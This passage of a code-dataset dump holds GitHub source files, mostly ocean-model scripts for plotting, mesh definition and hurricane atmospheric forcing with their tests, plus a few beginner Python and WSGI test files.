'millibars'\n\n\n def get_distance_unit(self):\n return 'kilometers'\n\n\n def get_time_unit(self):\n return 'hours'\n" }, { "alpha_fraction": 0.514018714427948, "alphanum_fraction": 0.558878481388092, "avg_line_length": 30.47058868408203, "blob_id": "100f3152f1533cdf8d0793523e2a2d7882786f47", "content_id": "76af917e21dca8fb75e6fb266a6be4d0c2032cae", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1070, "license_type": "permissive", "max_line_length": 78, "num_lines": 34, "path": "/testing_and_setup/compass/ocean/lock_exchange/0.5km/rpe_test/plot.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "import numpy\nfrom netCDF4 import Dataset\nimport matplotlib.pyplot as plt\nimport matplotlib\nmatplotlib.use('Agg')\n\nfig = plt.gcf()\nnRow = 6\nnCol = 2\niTime = [8, 16]\nnu = ['0.01', '0.1', '1', '10', '100', '200']\ntime = ['hour 8', 'hour 16']\n\nfig, axs = plt.subplots(nRow, nCol, figsize=(\n 5.3 * nCol, 2.0 * nRow), constrained_layout=True)\n\nfor iRow in range(nRow):\n ncfile = Dataset('output_' + str(iRow + 1) + '.nc', 'r')\n var = ncfile.variables['temperature']\n xtime = ncfile.variables['xtime']\n for iCol in range(nCol):\n ax = axs[iRow, iCol]\n dis = ax.imshow(var[iTime[iCol], 0:512:4, :].T, extent=[\n 0, 120, 20, 0], aspect=2, cmap='jet', vmin=5, vmax=30)\n if iRow == nRow - 1:\n ax.set_xlabel('x, km')\n if iCol == 0:\n ax.set_ylabel('depth, m')\n if iCol == nCol - 1:\n fig.colorbar(dis, ax=axs[iRow, iCol], aspect=5)\n ax.set_title(time[iCol] + \", \" + r\"$\\nu_h=$\" + nu[iRow])\n ncfile.close()\n\nplt.savefig('sections_lock_exchange.png', bbox_inches='tight')\n" }, { "alpha_fraction": 0.6314572095870972, "alphanum_fraction": 0.6808018684387207, "avg_line_length": 30.634145736694336, "blob_id": "f6620e05b94a7168e2149309e154889a996e4e83", "content_id": "69055fae441a1fdcb45299b51ea3489fa2b2f472", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1297, "license_type": "permissive", "max_line_length": 84, "num_lines": 41, "path": "/testing_and_setup/compass/ocean/global_ocean/ARM60to6/init/define_base_mesh.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "# /usr/bin/env python\n\"\"\"\n% Create cell width array for this mesh on a regular latitude-longitude grid.\n% Outputs:\n% cellWidth - m x n array, entries are desired cell width in km\n% lat - latitude, vector of length m, with entries between -90 and 90, degrees\n% lon - longitude, vector of length n, with entries between -180 and 180, degrees\n\"\"\"\nimport numpy as np\nimport jigsaw_to_MPAS.mesh_definition_tools as mdt\n\n\ndef cellWidthVsLatLon():\n lat = np.arange(-90, 90.01, 0.1)\n lon = np.arange(-180, 180.01, 0.1)\n\n QU1 = np.ones(lat.size)\n EC60to30 = mdt.EC_CellWidthVsLat(lat)\n RRS30to6 = mdt.RRS_CellWidthVsLat(lat, 30, 6)\n\n AtlNH = RRS30to6\n AtlGrid = mdt.mergeCellWidthVsLat(lat, EC60to30, AtlNH, 0, 4)\n\n PacNH = mdt.mergeCellWidthVsLat(lat, 30 * QU1, RRS30to6, 50, 12)\n PacGrid = mdt.mergeCellWidthVsLat(lat, EC60to30, PacNH, 0, 6)\n\n cellWidth = mdt.AtlanticPacificGrid(lat, lon, AtlGrid, PacGrid)\n\n import matplotlib.pyplot as plt\n import matplotlib\n matplotlib.use('Agg')\n plt.clf()\n plt.plot(lat, AtlGrid, label='Atlantic')\n plt.plot(lat, PacGrid, label='Pacific')\n plt.grid(True)\n plt.xlabel('latitude')\n plt.title('Grid cell size, km')\n plt.legend()\n plt.savefig('cellWidthVsLat.png')\n\n return cellWidth, lon, lat\n" }, { "alpha_fraction": 0.7785817384719849, "alphanum_fraction": 0.7785817384719849, "avg_line_length": 56.5, "blob_id": "75f8c0fc34ee479a80e5285cc28fd401557f1070", "content_id": "a8bae570bc8cd423baa2fb186fc80e6b500e17a2", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "CMake", "length_bytes": 691, "license_type": "permissive", "max_line_length": 146, "num_lines": 12, "path": "/src/tools/CMakeLists.txt", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "\n# Make build tools, need to be compiled with serial compiler.\nset(CMAKE_C_COMPILER ${SCC})\n\nadd_executable(streams_gen input_gen/streams_gen.c input_gen/test_functions.c ../external/ezxml/ezxml.c)\nadd_executable(namelist_gen input_gen/namelist_gen.c input_gen/test_functions.c ../external/ezxml/ezxml.c)\nadd_executable(parse registry/parse.c registry/dictionary.c registry/gen_inc.c registry/fortprintf.c registry/utility.c ../external/ezxml/ezxml.c)\n\nforeach(EXEITEM streams_gen namelist_gen parse)\n target_compile_definitions(${EXEITEM} PRIVATE ${CPPDEFS})\n target_compile_options(${EXEITEM} PRIVATE \"-Uvector\")\n target_include_directories(${EXEITEM} PRIVATE ${INCLUDES})\nendforeach()\n" }, { "alpha_fraction": 0.6532257795333862, "alphanum_fraction": 0.663306474685669, "avg_line_length": 33.91549301147461, "blob_id": "511174313154bea13c53fe2f36b41cef068af592", "content_id": "d2620d13ffd703f6b8fb43837f121be32f48defc", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2480, "license_type": "permissive", "max_line_length": 98, "num_lines": 71, "path": "/testing_and_setup/compass/ocean/hurricane/scripts/spinup_time_varying_forcing.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "# Author: Steven Brus\n# Date April, 2020\n# Description: \n# This creates a \"dummy\" time varying forcing file\n# with zero wind zero atmospheric pressure perturbation\n# for the tidal spinup run.\n#\n# The tidal spinup is run using this \"dummy\" atmospheric forcing\n# because the time varying atmospheric forcing for the \n# forward run requires information in the restart file.\n# The inclusion of this additional information in the restart\n# file is trigged by the use of time varying atmospheric forcing\n# in the tidal spinup.\n\nimport netCDF4\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport glob\nimport pprint\nimport datetime\nimport os\nimport yaml\nimport subprocess\nimport argparse\nimport write_forcing_file\nplt.switch_backend('agg')\n\n##################################################################################################\n##################################################################################################\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--start_time')\n parser.add_argument('--spinup_length')\n args = parser.parse_args()\n\n # Files to interpolate to/from\n grid_file = './mesh.nc'\n forcing_file = 'spinup_atmospheric_forcing.nc'\n\n # Setup timestamps \n # (3 time snaps are needed because new data will be read in at the end of the simulation)\n dtformat = '%Y-%m-%d_%H:%M:%S'\n start_time = datetime.datetime.strptime(args.start_time,dtformat)\n spinup_length = float(args.spinup_length)\n xtime = []\n xtime.append(args.start_time+45*' ')\n next_time = start_time + datetime.timedelta(days=spinup_length)\n xtime.append(datetime.datetime.strftime(next_time,dtformat)+45*' ')\n next_time = next_time + datetime.timedelta(days=spinup_length)\n xtime.append(datetime.datetime.strftime(next_time,dtformat)+45*' ')\n xtime = np.array(xtime,'S64')\n print(xtime)\n\n # Get grid from grid file\n grid_nc = netCDF4.Dataset(grid_file,'r')\n lon_grid = grid_nc.variables['lonCell'][:]\n ncells = lon_grid.size\n\n # Initialize atmospheric forcing fields\n u_data = np.zeros((3,ncells))\n v_data = np.zeros((3,ncells))\n p_data = np.zeros((3,ncells)) + 101325.0\n print(p_data.shape)\n\n # Write to NetCDF file\n subprocess.call(['rm',forcing_file])\n write_forcing_file.write_to_file(forcing_file,u_data,'windSpeedU',xtime)\n write_forcing_file.write_to_file(forcing_file,v_data,'windSpeedV',xtime)\n write_forcing_file.write_to_file(forcing_file,p_data,'atmosPressure',xtime)\n\n" }, { "alpha_fraction": 0.5295663475990295, "alphanum_fraction": 0.5545334815979004, "avg_line_length": 33.54545593261719, "blob_id": "aa9c9e827f49a5528001b2fc0c6f33c412883143", "content_id": "479213735df849f8ddcb546bc7f921f37649965d", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 761, "license_type": "permissive", "max_line_length": 101, "num_lines": 22, "path": "/testing_and_setup/compass/ocean/hurricane/hurricane_wind_pressure/tests/winds/test_velocities.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "from winds.velocities import Velocities\nimport math\n\ndef test_velocities():\n # Forward velocity in km/hr.\n vfe = -1.0 # Eastward .\n vfn = 0.0 # Northward.\n vg = 1.0 # Tangential gradient wind speed in km/hr.\n\n veloc = Velocities(vfe,vfn)\n r = 1.0 # Unit circle about the origin.\n np = 360\n dtheta = 2*math.pi/np\n with open('test_velocities_out.csv','wt') as out:\n out.write('x,y,vx,vy,r,theta_degrees\\n')\n for i in range(0,np):\n theta = i*dtheta\n degrees = 180.0*theta/math.pi\n x = r*math.cos(theta)\n y = r*math.sin(theta)\n v = veloc.compute_wind_vector(vg,x,y)\n out.write(str(x)+','+str(y)+','+str(v[0])+','+str(v[1])+','+str(r)+','+str(degrees)+'\\n')\n\n" }, { "alpha_fraction": 0.5111309289932251, "alphanum_fraction": 0.5369545817375183, "avg_line_length": 21.897958755493164, "blob_id": "3e1dae67b28c08471bca54a7808a373805d5bc67", "content_id": "0edab55dcaea1c8eb12cec503e9166c718ae1e8a", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1123, "license_type": "permissive", "max_line_length": 71, "num_lines": 49, "path": "/testing_and_setup/compass/ocean/hurricane/hurricane_wind_pressure/ad_hoc/wind_vector_example.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "import sys\nimport numpy as np\nimport matplotlib.pyplot as plt\n#from matplotlib.patches import Circle\nimport math\n\ndef W(x, y):\n \"\"\"Return the wind vector given a wind speed.\"\"\"\n r = np.sqrt(x*x+y*y)\n v = V(r)\n if r>0:\n costheta = x/r\n sintheta = y/r\n return [-sintheta*v,costheta*v]\n else:\n return [0,0]\n\ndef V(r):\n return 2*r*r*np.exp(-r)\n\ndef example(n):\n # Grid of x, y points\n nx, ny = n, n\n x = np.linspace(-2, 2, nx)\n y = np.linspace(-2, 2, ny)\n\n # Wind field vector components U,V\n U, V = np.zeros((ny, nx)), np.zeros((ny, nx))\n for j in range(ny-1,-1,-1):\n for i in range(0,nx):\n vv = W(x[i],y[j])\n U[j,i]=vv[0]\n V[j,i]=vv[1]\n\n fig = plt.figure()\n ax1 = fig.add_subplot(1,1,1)\n\n # Plot the streamlines.\n ax1.streamplot(x, y, U, V, color=np.sqrt(U*U+V*V), cmap='Spectral')\n ax1.set_xlabel('$x$')\n ax1.set_ylabel('$y$')\n ax1.set_xlim(-2,2)\n ax1.set_ylim(-2,2)\n ax1.set_aspect('equal')\n plt.title('Tangential Wind Vectors')\n plt.show()\n\nif __name__=='__main__':\n example(8)\n\n" }, { "alpha_fraction": 0.6635859608650208, "alphanum_fraction": 0.6857671141624451, "avg_line_length": 37.64285659790039, "blob_id": "5ddab01001038d83476bc1b9b387386fa1797f7a", "content_id": "b2e1202b8a2cac27ce0d72a8ca9510298fb4b6e4", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 541, "license_type": "permissive", "max_line_length": 82, "num_lines": 14, "path": "/testing_and_setup/compass/ocean/hurricane/hurricane_wind_pressure/utils/gis.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "from geopy.distance import geodesic\n\ndef geodistkm(x1,y1,x2,y2):\n '''\n Returns the geodesic distance in km given two pairs of (lon, lat) coordinates.\n Note: Because it uses geopy, the coordinate order is reversed to (lat,lon)\n before calling the geopy function.\n :param x1: lon of the first point.\n :param y1: lat of the first point.\n :param x2: lon of the second point.\n :param y2: lat of the second point.\n :return: Geodesic distance between the two points in km.\n '''\n return geodesic((y1,x1),(y2,x2)).km\n" }, { "alpha_fraction": 0.5970101356506348, "alphanum_fraction": 0.616460382938385, "avg_line_length": 36.69696807861328, "blob_id": "89d31174a5a131adc403230587a9d2ef2bb79f62", "content_id": "1f8357c66f0927944b0ad254e07149a1447be8d7", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 6221, "license_type": "permissive", "max_line_length": 128, "num_lines": 165, "path": "/testing_and_setup/compass/ocean/hurricane/scripts/interpolate_time_varying_forcing.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "# Author: Steven Brus\n# Date: August, 2019\n# Description: Interpolates CFSR atmospheric reanalysis data onto the MPAS-O mesh and \n# creates an input file to support time varying atmospheric forcing in the model\n\nimport netCDF4\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport glob\nimport pprint\nimport datetime\nimport os\nimport yaml\nimport subprocess\nimport argparse\nimport cartopy\nimport cartopy.crs as ccrs\nimport cartopy.feature as cfeature\nfrom scipy import interpolate\nimport write_forcing_file\nplt.switch_backend('agg')\ncartopy.config['pre_existing_data_dir'] = \\\n os.getenv('CARTOPY_DIR', cartopy.config.get('pre_existing_data_dir'))\n\n##################################################################################################\n##################################################################################################\n\ndef interpolate_data_to_grid(grid_file,data_file,var):\n\n # Open files\n data_nc = netCDF4.Dataset(data_file,'r')\n grid_nc = netCDF4.Dataset(grid_file,'r')\n\n # Get grid from data file\n lon_data = data_nc.variables['lon'][:]\n lon_data = np.append(lon_data,360.0)\n lat_data = np.flipud(data_nc.variables['lat'][:])\n time = data_nc.variables['time'][:]\n nsnaps = time.size\n nlon = lon_data.size\n nlat = lat_data.size\n data = np.zeros((nsnaps,nlat,nlon))\n print(data.shape)\n\n # Get grid from grid file\n lon_grid = grid_nc.variables['lonCell'][:]*180.0/np.pi\n lat_grid = grid_nc.variables['latCell'][:]*180.0/np.pi\n grid_points = np.column_stack((lon_grid,lat_grid))\n ncells = lon_grid.size\n interp_data = np.zeros((nsnaps,ncells))\n print(interp_data.shape)\n print(np.amin(lon_grid),np.amax(lon_grid))\n print(np.amin(lat_grid),np.amax(lat_grid))\n\n # Interpolate timesnaps\n for i,t in enumerate(time):\n print('Interpolating '+var+': '+str(i))\n\n # Get data to interpolate\n data[i,:,0:-1] = np.flipud(data_nc.variables[var][i,:,:])\n data[i,:,-1] = data[i,:,0]\n\n # Interpolate data onto new grid\n interpolator = interpolate.RegularGridInterpolator((lon_data,lat_data),data[i,:,:].T,bounds_error=False,fill_value=0.0)\n interp_data[i,:] = interpolator(grid_points)\n\n # Deal with time\n ref_date = data_nc.variables['time'].getncattr('units').replace('hours since ','').replace('.0 +0:00','')\n ref_date = datetime.datetime.strptime(ref_date,'%Y-%m-%d %H:%M:%S')\n xtime = []\n for t in time:\n date = ref_date + datetime.timedelta(hours=np.float64(t))\n xtime.append(date.strftime('%Y-%m-%d_%H:%M:%S'+45*' '))\n xtime = np.array(xtime,'S64')\n\n return lon_grid,lat_grid,interp_data,lon_data,lat_data,data,xtime\n\n##################################################################################################\n##################################################################################################\n\ndef plot_interp_data(lon_data,lat_data,data,lon_grid,lat_grid,interp_data,var_label,var_abrev,time):\n\n\n # Plot data\n fig = plt.figure()\n levels = np.linspace(np.amin(data),np.amax(data),100)\n ax0 = fig.add_subplot(2, 1, 1, projection=ccrs.PlateCarree())\n cf = ax0.contourf(lon_data, lat_data, data, levels=levels,\n transform=ccrs.PlateCarree())\n ax0.set_extent([0, 359.9, -90, 90], crs=ccrs.PlateCarree())\n ax0.add_feature(cfeature.LAND, zorder=100)\n ax0.add_feature(cfeature.LAKES, alpha=0.5, zorder=101)\n ax0.add_feature(cfeature.COASTLINE, zorder=101)\n ax0.set_title('data '+time.strip().decode())\n cbar = fig.colorbar(cf,ax=ax0)\n cbar.set_label(var_label)\n\n # Plot interpolated data\n ax1 = fig.add_subplot(2, 1, 2, projection=ccrs.PlateCarree())\n levels = np.linspace(np.amin(interp_data),np.amax(interp_data),100)\n cf = ax1.tricontourf(lon_grid,lat_grid,interp_data,levels=levels,\n transform=ccrs.PlateCarree())\n ax1.set_extent([0, 359.9, -90, 90], crs=ccrs.PlateCarree())\n ax1.add_feature(cfeature.LAND, zorder=100)\n ax1.add_feature(cfeature.LAKES, alpha=0.5, zorder=101)\n ax1.add_feature(cfeature.COASTLINE, zorder=101)\n ax1.set_title('interpolated data '+time.strip().decode())\n cbar = fig.colorbar(cf,ax=ax1)\n cbar.set_label(var_label)\n\n # Save figure\n fig.tight_layout()\n fig.savefig(var_abrev+'_'+str(i).zfill(4)+'.png',box_inches='tight')\n plt.close()\n\n##################################################################################################\n##################################################################################################\n\nif __name__ == '__main__':\n\n parser = argparse.ArgumentParser()\n parser.add_argument('--plot',action='store_true')\n args = parser.parse_args()\n\n nplot = 10\n\n # Files to interpolate to/from\n grid_file = './mesh.nc'\n wind_file = './wnd10m.nc'\n pres_file = './prmsl.nc'\n forcing_file = 'atmospheric_forcing.nc'\n\n # Interpolation of u and v velocities\n lon_grid,lat_grid,u_interp,lon_data,lat_data,u_data,xtime = interpolate_data_to_grid(grid_file,wind_file,'U_GRD_L103')\n lon_grid,lat_grid,v_interp,lon_data,lat_data,v_data,xtime = interpolate_data_to_grid(grid_file,wind_file,'V_GRD_L103')\n\n # Calculate and plot velocity magnitude\n if args.plot:\n for i in range(u_data.shape[0]):\n if i % nplot == 0:\n\n print('Plotting vel: '+str(i))\n\n data = np.sqrt(np.square(u_data[i,:,:]) + np.square(v_data[i,:,:]))\n interp_data = np.sqrt(np.square(u_interp[i,:]) + np.square(v_interp[i,:]))\n\n plot_interp_data(lon_data,lat_data,data,lon_grid,lat_grid,interp_data,'velocity magnitude','vel',xtime[i])\n\n # Interpolation of atmospheric pressure\n lon_grid,lat_grid,p_interp,lon_data,lat_data,p_data,xtime = interpolate_data_to_grid(grid_file,pres_file,'PRMSL_L101')\n\n # Plot atmopheric pressure\n if args.plot:\n for i in range(p_data.shape[0]):\n if i % nplot == 0:\n\n print('Plotting pres: '+str(i))\n\n plot_interp_data(lon_data,lat_data,p_data[i,:,:],lon_grid,lat_grid,p_interp[i,:],'atmospheric pressure','pres',xtime[i])\n\n # Write to NetCDF file\n subprocess.call(['rm',forcing_file])\n write_forcing_file.write_to_file(forcing_file,u_interp,'windSpeedU',xtime)\n write_forcing_file.write_to_file(forcing_file,v_interp,'windSpeedV',xtime)\n write_forcing_file.write_to_file(forcing_file,p_interp,'atmosPressure',xtime)\n\n" }, { "alpha_fraction": 0.5674999952316284, "alphanum_fraction": 0.5945000052452087, "avg_line_length": 27.97101402282715, "blob_id": "dc74ff29eb219d68908b44fcc395c1af5e0b296c", "content_id": "3aa96b027b9dd1e9aafe572f888c3158878278f0", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2000, "license_type": "permissive", "max_line_length": 113, "num_lines": 69, "path": "/testing_and_setup/compass/ocean/hurricane/hurricane_wind_pressure/tests/winds/test_velocity_grid.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "import numpy as np\nfrom structures.geogrid import GeoGrid\nfrom profile_model.radialprofiles import HollandWindSpeedProfile\nfrom winds.parameters import Parameters\nfrom winds.velocities import Velocities\nimport matplotlib.pyplot as plt\n\ndef test_velocity_grid():\n # Grid of x, y points\n n = 50\n nr = 200\n rmax = 40\n cmin, cmax = -200 , 200\n cellsize = (cmax-cmin)/n\n x = np.linspace(cmin, cmax, n)\n y = np.linspace(cmin, cmax, n)\n U = GeoGrid(cmin,cmin,n,n,cellsize)\n V = GeoGrid(cmin,cmin,n,n,cellsize)\n\n params = Parameters()\n b = 1.4\n hc = [0,0]\n vf = [0,10]\n deltap = 100\n coriol = False\n profile = HollandWindSpeedProfile(nr,2*cmax,rmax,deltap,params.rho,params.getCoriolisMid(),b,coriolis=coriol)\n vels = Velocities(vf[0],vf[1],profile.getVmax())\n for j in range(0,n):\n for i in range(0,n):\n pt = U.getCenter(i,j)\n r = np.sqrt(pow(pt[0]-hc[0],2)+pow(pt[1]-hc[1],2))\n vg = profile.getValue(r)\n vv = vels.compute_wind_vector(vg,pt[0],pt[1])\n U.put(i,j,vv[0])\n V.put(i,j,vv[1])\n\n assert True # If we made it to here.\n\n fig = plt.figure()\n\n ax = fig.add_subplot(131)\n ax.plot(profile.rvals, profile.profile)\n\n ax.set(xlabel='r (km)', ylabel='wind speed (km/hr)',\n title='Radial Wind')\n ax1 = fig.add_subplot(133)\n\n # Plot the streamlines.\n # Matplotlib assume an ordinary row ordering, so the rows must be reversed before plotting.\n Ug = U.grid\n Vg = V.grid\n Uplt = np.zeros([n,n])\n Vplt = np.zeros([n,n])\n for j in range(0,n):\n jp = n-j-1\n for i in range(0,n):\n Uplt[jp,i]=Ug[j,i]\n Vplt[jp,i]=Vg[j,i]\n\n Vmag = np.sqrt(Ug*Ug+Vg*Vg)\n ax1.streamplot(x, y, Uplt, Vplt, color=Vmag, cmap='Spectral')\n ax1.set_xlabel('$x$')\n ax1.set_ylabel('$y$')\n ax1.set_xlim(cmin,cmax)\n ax1.set_ylim(cmin,cmax)\n ax1.set_aspect('equal')\n plt.title('Wind Vectors')\n\n plt.show()\n\n" }, { "alpha_fraction": 0.6066970825195312, "alphanum_fraction": 0.635312020778656, "avg_line_length": 33.9361686706543, "blob_id": "9c56206b76dac94bfcab91f6c4343456f9801a3d", "content_id": "a42a5b54a62182e501580b5e884437423f793274", "detected_licenses": [ "LicenseRef-scancode-warranty-disclaimer", "BSD-2-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3285, "license_type": "permissive", "max_line_length": 80, "num_lines": 94, "path": "/testing_and_setup/compass/ocean/hurricane/hurricane_wind_pressure/tests/structures/test_geogrid.py", "repo_name": "nairita87/Ocean_dir", "src_encoding": "UTF-8", "text": "from structures.geogrid import GeoGrid\n\ndef test_geogrid():\n lon = -106.0\n lat = 35\n nlon = 8\n nlat = 4\n cellsize = 1.0\n defaultValue = -1.0\n grid = GeoGrid(lon,lat,nlon,nlat,cellsize,defaultValue = defaultValue)\n assert grid.lon == lon\n assert grid.lat == lat\n assert grid.nlon == nlon\n assert grid.nlat == nlat\n assert grid.cellsize == cellsize\n assert defaultValue == defaultValue\n\n l = int(nlat/2)\n k = int(nlon/2)\n for j in range(0,l):\n for i in range(0,k):\n grid.put(i,j,1.0)\n for i in range(k,nlon):\n grid.put(i,j,2.0)\n for j in range(l,nlat):\n for i in range(0,k):\n grid.put(i,j,3.0)\n for i in range(k,nlon):\n grid.put(i,j,4.0)\n\n for j in range(0,l):\n for i in range(0,k):\n assert grid.getByIndex(i,j) == 1.0\n for i in range(k,nlon):\n assert grid.getByIndex(i,j) == 2.0\n for j in range(l,nlat):\n for i in range(0,k):\n assert grid.getByIndex(i,j) == 3.0\n for i in range(k,nlon):\n assert grid.getByIndex(i,j) == 4.0\n\n testcell = [3,3]\n center = grid.getCenter(testcell[0],testcell[1])\n centerx = lon + (testcell[0]+0.5)*cellsize\n centery = lat + (testcell[1]+0.5)*cellsize\n assert center[0] == centerx\n assert center[1] == centery\n\n index = grid.getIndex(centerx,centery)\n assert index[0] == testcell[0]\n assert index[1] == testcell[1]\n\n value = grid.getByIndex(testcell[0],testcell[1])\n testcoords = grid.getCenter(testcell[0],testcell[1])\n valuec = grid.getByCoordinate(testcoords[0],testcoords[1])\n assert value == valuec\n\n origin = grid.getOrigin()\n assert origin[0] == lon\n assert origin[1] == lat\n\n bounds = grid.bounds\n assert bounds[0] == lon\n assert bounds[1] == lon + nlon*cellsize\n assert bounds[2] == lat\n assert bounds[3] == lat + nlat*cellsize\n\n assert grid.indexInside(-1,l) == False\n assert grid.indexInside(k,l) == True\n assert grid.indexInside(nlon,l) == False\n assert grid.indexInside(k,-1) == False\n assert grid.indexInside(k,l) == True\n assert grid.indexInside(k,nlat) == False\n\n assert grid.coordinateInside(bounds[0]+cellsize,bounds[2]+cellsize) == True\n assert grid.coordinateInside(bounds[0]-cellsize,bounds[2]+cellsize) == False\n assert grid.coordinateInside(bounds[0]+cellsize,bounds[2]-cellsize) == False\n\n assert grid.coordinateInside(bounds[1]-cellsize,bounds[2]+cellsize) == True\n assert grid.coordinateInside(bounds[1]-cellsize,bounds[2]-cellsize) == False\n assert grid.coordinateInside(bounds[1]+cellsize,bounds[2]+cellsize) == False\n\n assert grid.coordinateInside(bounds[0]+cellsize,bounds[3]-cellsize) == True\n assert grid.coordinateInside(bounds[0]+cellsize,bounds[3]+cellsize) == False\n assert grid.coordinateInside(bounds[0]-cellsize,bounds[3]+cellsize) == False\n\n assert grid.coordinateInside(bounds[1]-cellsize,bounds[3]-cellsize) == True\n assert grid.coordinateInside(bounds[1]-cellsize,bounds[3]+cellsize) == False\n assert grid.coordinateInside(bounds[1]+cellsize,bounds[3]-cellsize) == False\n\n grid.clear()\n for j in range(0,nlat):\n for i in range(0,nlon):\n assert grid.getByIndex(i,j) == 0.0\n\n" } ]
37
tamuell/my-first-blog
https://github.com/tamuell/my-first-blog
dc267e4a9cb267d2e08d32481ce101264c61f186
5d700dada56e26a405fe8462a920645888f45a4a
9bc1effd976f789ac5bc72710a91deca9b47dffa
refs/heads/master
2021-01-20T12:00:40.789671
2015-07-04T15:25:50
2015-07-04T15:25:50
38,504,222
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5585365891456604, "alphanum_fraction": 0.5780487656593323, "avg_line_length": 15.359999656677246, "blob_id": "a2daf2ac9d29187599511809c78fe3f5c6737039", "content_id": "8d61bc2cf8a34fb90a4d6347909a483c465230b6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 410, "license_type": "no_license", "max_line_length": 36, "num_lines": 25, "path": "/Testdatei.py", "repo_name": "tamuell/my-first-blog", "src_encoding": "UTF-8", "text": "name = \"Tatiana\"\nprint(name)\n\nif 3 > 2: \n\tprint(\"It works!\")\nif 5 > 2:\n\tprint(\"5 is indeed greater than 2\")\nelse:\n\tprint(\"5 is not greater than 2\")\n\tname = 'Tatiana'\nif name == 'Ola':\n print('Hey Ola!')\nelif name == 'Tatiana':\n print('Hey Tatiana!')\nelse:\n print('Hey anonymous!')\n\ndef hi():\n\tprint('Hi there!')\n\tprint('How are you?')\nhi ()\ndef hi(name):\n print('Hi ' + name + '!')\n\nhi(\"Tatiana\")\n\n" } ]
1
yueyoum/smoke
https://github.com/yueyoum/smoke
9ba86b1faf9ce1f67be68c24b011b55292a17727
758d31355e9b97a54d9e8d413f8fe7400e58498b
c9c9b3d6ea01b6db73fd8b73c16cc0a482eafc43
refs/heads/master
2020-06-04T14:00:16.997270
2013-06-09T06:29:44
2013-06-09T06:29:44
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6496062874794006, "alphanum_fraction": 0.6968504190444946, "avg_line_length": 17.14285659790039, "blob_id": "00be481b6b105a9b66aba02e08bb40b0e9729c9b", "content_id": "3c4c8684a2d36ac6407c4ceb6424d2194dbf9306", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 508, "license_type": "no_license", "max_line_length": 53, "num_lines": 28, "path": "/test/mail_exception_test.py", "repo_name": "yueyoum/smoke", "src_encoding": "UTF-8", "text": "import sys\nfrom wsgiref.simple_server import make_server\n\nsys.path.append('..')\n\nfrom app import App\nfrom smoke.exceptions import EmailExceptionMiddleware\n\ndef exception_func_1():\n return exception_func_2()\n\ndef exception_func_2():\n return exception_func_3()\n\ndef exception_func_3():\n return 1 / 0\n\n\napp = EmailExceptionMiddleware(\n App(exception_func_1),\n smoke_html=True,\n to_address=[],\n smtp_server='127.0.0.1'\n)\n\n\nserver = make_server('127.0.0.1', 8000, app)\nserver.serve_forever()\n" }, { "alpha_fraction": 0.4881889820098877, "alphanum_fraction": 0.5061867237091064, "avg_line_length": 27.677419662475586, "blob_id": "365dda9d96bb3af7a0626fc60e3952176f85c7cc", "content_id": "c41ffe4d00bd850e32261f01d3ce7526aab3c62a", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 889, "license_type": "no_license", "max_line_length": 83, "num_lines": 31, "path": "/test/app.py", "repo_name": "yueyoum/smoke", "src_encoding": "UTF-8", "text": "class App(object):\n def __init__(self, hook_func=None):\n self.hook_func = hook_func\n\n def __call__(self, environ, start_response):\n html = \"\"\"<html>\n <body><table>{0}</table></body>\n </html>\"\"\"\n\n def _get_env(k, v):\n return \"\"\"<tr><td>{0}</td><td>{1}</td></tr>\"\"\".format(k, v)\n\n env_table = ''.join( [_get_env(k, v) for k, v in sorted(environ.items())] )\n html = html.format(env_table)\n\n status = '200 OK'\n headers = [\n ('Content-Type', 'text/html'),\n ('Content-Length', str(len(html)))\n ]\n\n start_response(status, headers)\n if self.hook_func:\n self.hook_func()\n return [html]\n\nif __name__ == '__main__':\n from wsgiref.simple_server import make_server\n app = App()\n server = make_server('127.0.0.1', 8000, app)\n server.handle_request()\n" }, { "alpha_fraction": 0.5404475331306458, "alphanum_fraction": 0.5435456037521362, "avg_line_length": 32.379310607910156, "blob_id": "76ed98abf9fa218beb012f55eba6e23b11b6d029", "content_id": "60eb2106cc59839b898b758c87a48bb1eb2c59de", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2905, 